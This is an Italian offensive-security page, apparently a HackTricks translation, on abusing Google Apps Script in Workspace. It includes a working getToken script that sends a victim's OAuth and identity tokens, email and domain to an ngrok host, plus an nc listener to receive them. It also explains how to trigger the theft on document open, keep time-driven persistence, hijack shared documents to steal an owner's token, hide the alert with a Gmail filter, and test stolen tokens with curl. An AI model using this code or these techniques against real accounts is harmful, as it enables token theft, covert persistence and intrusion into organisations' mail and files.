GWS - App Scripts

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Script dell'App

Gli App Scripts sono codici che verranno attivati quando un utente con permessi di editor accede al documento a cui è collegato lo Script dell'App e dopo aver accettato il prompt OAuth. Possono anche essere impostati per essere eseguiti ogni certo tempo dal proprietario dello Script dell'App (Persistenza).

Creare uno Script dell'App

Ci sono diversi modi per creare uno Script dell'App, anche se i più comuni sono da un Documento Google (di qualsiasi tipo) e come progetto autonomo:

Crea un progetto legato al contenitore da Documenti Google, Fogli o Presentazioni
  1. Apri un documento Docs, un foglio di calcolo Sheets o una presentazione Slides.

  2. Fai clic su Estensioni > Script di Google Apps.

  3. Nell'editor di script, fai clic su Progetto senza titolo.

  4. Dai un nome al tuo progetto e fai clic su Rinomina.

Crea un progetto autonomo

Per creare un progetto autonomo da Apps Script:

  1. Fai clic su Nuovo Progetto.

  2. Nell'editor di script, fai clic su Progetto senza titolo.

  3. Dai un nome al tuo progetto e fai clic su Rinomina.

Crea un progetto autonomo da Google Drive
  1. Fai clic su Nuovo > Altro > Script di Google Apps.

Crea un progetto legato al contenitore da Moduli Google
  1. Apri un modulo in Moduli Google.

  2. Fai clic su Altro more_vert > Editor di script.

  3. Nell'editor di script, fai clic su Progetto senza titolo.

  4. Dai un nome al tuo progetto e fai clic su Rinomina.

Crea un progetto autonomo utilizzando lo strumento da riga di comando clasp

clasp è uno strumento da riga di comando che ti consente di creare, estrarre/spingere e distribuire progetti di Apps Script da un terminale.

Consulta la Guida all'Interfaccia da Riga di Comando utilizzando clasp per ulteriori dettagli.

Scenario dello Script dell'App

Crea un Foglio Google con lo Script dell'App

Inizia creando uno Script dell'App, la mia raccomandazione per questo scenario è creare un Foglio Google e andare su Estensioni > Script dell'App, questo aprirà uno nuovo Script dell'App collegato al foglio.

Fuga del token

Per dare accesso al token OAuth devi fare clic su Servizi + e aggiungere ambiti come:

  • AdminDirectory: Accesso agli utenti e ai gruppi della directory (se l'utente ha abbastanza permessi)

  • Gmail: Per accedere ai dati di Gmail

  • Drive: Per accedere ai dati di Drive

  • API di Google Sheets: Per farlo funzionare con il trigger

Per cambiare tu stesso gli ambiti necessari puoi andare nelle impostazioni del progetto e abilitare: Mostra il file manifesto "appsscript.json" nell'editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Per catturare la richiesta puoi semplicemente eseguire:

ngrok tcp 4444
nc -lv 4444 #macOS

Permessi richiesti per eseguire lo Script dell'App:

Poiché viene effettuata una richiesta esterna, il prompt di OAuth chiederà anche il permesso di raggiungere endpoint esterni.

Creare Trigger

Una volta letto l'App, fare clic su ⏰ Triggers per creare un trigger. Come funzione da eseguire scegliere getToken, eseguito al rilascio Head, nella sorgente dell'evento selezionare Da foglio di calcolo e selezionare il tipo di evento All'apertura o Alla modifica (a seconda delle esigenze) e salvare.

Nota che è possibile controllare le esecuzioni degli Script dell'App nella scheda Esecuzioni se si desidera eseguire il debug di qualcosa.

Condivisione

Per attivare lo Script dell'App la vittima deve connettersi con Accesso Editor.

Il token utilizzato per eseguire lo Script dell'App sarà quello del creatore del trigger, anche se il file viene aperto come Editor da altri utenti.

Abuso dei documenti condivisi con me

Se qualcuno ha condiviso con te un documento con Script dell'App e un trigger utilizzando il Head dello Script dell'App (non un rilascio fisso), è possibile modificare il codice dello Script dell'App (aggiungendo ad esempio le funzioni di furto del token), accedervi e lo Script dell'App verrà eseguito con i permessi dell'utente che ha condiviso il documento con te! (nota che il token OAuth del proprietario avrà come ambiti di accesso quelli forniti quando è stato creato il trigger).

Una notifica verrà inviata al creatore dello script indicando che qualcuno ha modificato lo script (Cosa ne pensi di utilizzare i permessi di gmail per generare un filtro per evitare l'allerta?)

Se un attaccante modifica gli ambiti dello Script dell'App gli aggiornamenti non verranno applicati al documento fino a quando non viene creato un nuovo trigger con le modifiche. Pertanto, un attaccante non sarà in grado di rubare il token del creatore con più ambiti di quelli impostati nel trigger che ha creato.

Copiare anziché condividere

Quando si crea un link per condividere un documento viene creato un link simile a questo: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Se si cambia la parte finale "/edit" in "/copy", anziché accedervi, Google chiederà se si desidera generare una copia del documento:

Se l'utente ne fa una copia e vi accede, sia i contenuti del documento che gli Script dell'App verranno copiati, tuttavia i trigger no, quindi nulla verrà eseguito.

Condivisione come Applicazione Web

Nota che è anche possibile condividere uno Script dell'App come applicazione Web (nell'Editor dello Script dell'App, distribuirla come applicazione Web), ma comparirà un avviso come questo:

Seguito dal tipico prompt di OAuth che chiede i permessi necessari.

Testing

È possibile testare un token raccolto per elencare le email con:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Elenco calendario dell'utente:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

Script dell'app come Persistenza

Una opzione per la persistenza sarebbe creare un documento e aggiungere un trigger per la funzione getToken e condividere il documento con l'attaccante in modo che ogni volta che l'attaccante apre il file esfiltrerà il token della vittima.

È anche possibile creare uno Script dell'App e impostarlo per attivarsi ogni X tempo (come ogni minuto, ora, giorno...). Un attaccante che ha compromesso le credenziali o una sessione di una vittima potrebbe impostare uno Script dell'App per attivarsi regolarmente e rivelare un token OAuth molto privilegiato ogni giorno:

Basta creare uno Script dell'App, andare su Trigger, fare clic su Aggiungi Trigger e selezionare come origine dell'evento Time-driven e scegliere le opzioni che meglio si adattano a te:

Questo genererà una email di allerta sulla sicurezza e un messaggio push sul tuo cellulare per avvisarti di ciò.

Bypass della Richiesta Non Verificata del Documento Condiviso

Inoltre, se qualcuno ti ha condiviso un documento con accesso come editor, puoi generare Script dell'App all'interno del documento e il PROPRIETARIO (creatore) del documento sarà il proprietario dello Script dell'App.

Questo significa che il creatore del documento apparirà come creatore di qualsiasi Script dell'App che chiunque con accesso come editor crei al suo interno.

Questo significa anche che lo Script dell'App sarà considerato attendibile dall'ambiente Workspace del creatore del documento.

Questo significa anche che se uno Script dell'App esisteva già e le persone hanno concesso l'accesso, chiunque con permesso Editor sul documento può modificarlo e abusare di quell'accesso. Per abusare di questo, è necessario anche che le persone attivino lo Script dell'App. E un trucco utile è pubblicare lo script come web app. Quando le persone che hanno già concesso l'accesso allo Script dell'App accedono alla pagina web, attiveranno lo Script dell'App (questo funziona anche utilizzando tag <img>).

Last updated